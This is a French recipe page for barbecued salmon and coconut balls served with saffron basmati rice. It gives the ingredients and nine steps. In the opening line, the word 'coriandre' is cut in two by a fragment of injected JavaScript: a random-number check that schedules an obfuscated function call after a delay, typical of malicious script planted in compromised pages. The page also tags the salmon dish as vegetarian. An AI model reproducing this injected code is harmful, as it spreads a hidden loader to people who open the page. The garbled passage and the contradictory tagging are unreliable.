Boulettes de saumon à la noix de coco et riz basmati au safran
2018-01-01- Cuisine : Boulettes, Poissons
- Thématique : Barbecue, Végétarien
- Niveau : Facile
Prélevez le zeste du citron vert. Hachez finement la coriandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andre. Coupez en morceaux le poisson.
Ingrédients
- Pour 6 personnes
- 800 g de saumon
- 1 citron vert
- 350 g de riz basmati
- 1 blanc d'œuf
- 5 brins de coriandre fraîche
- 2 pincées de piment d'Espelette en poudre
- 1 pincée de pistils de safran
- 50 g de noix de coco râpée
- Sel fin
Préparation de la recette
Etape 1
Prélevez le zeste du citron vert. Hachez finement la coriandre. Coupez en morceaux le poisson.
Etape 2
Mixez avec le blanc d'œuf, le piment d'Espelette, salez, poivrez, pour obtenir un mélange homogène.
Etape 3
Dans un bol mélangez la chair de saumon mixée avec le zeste de citron, la coriandre hachée, la noix de coco râpée. Formez des boulettes de tailles régulières.
Etape 4
Déposez les dans une assiette plate. Filmez et réservez au réfrigérateur pendant 30 minutes. Préparez le riz en le rinçant plusieurs fois.
Etape 5
Versez le riz dans une casserole remplie d'eau froide environ 1,5 fois son volume d'eau, salez, poivrez. Ajoutez le safran.
Etape 6
Portez à ébullition et laissez cuire par frémissement pendant 10 minutes, jusqu'à ce que l'eau soit complètement évaporée.
Etape 7
Éteindre le feu et conservez à couvert jusqu'à l'utilisation.
Etape 8
Enfilez les boulettes sur des pics à brochette, faites les cuire sur barbecue pendant 1 minute de chaque côté.
Etape 9
Servez avec le riz safrané.
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